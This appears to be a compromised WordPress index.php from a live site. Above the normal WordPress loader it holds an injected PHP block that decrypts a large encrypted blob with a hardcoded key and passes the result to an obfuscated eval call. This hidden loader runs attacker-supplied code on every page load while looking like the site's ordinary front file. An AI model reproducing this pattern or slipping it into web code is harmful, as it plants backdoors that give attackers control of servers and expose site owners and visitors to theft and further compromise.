/home/arranoyd/zlatnilav.farlight.hr/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';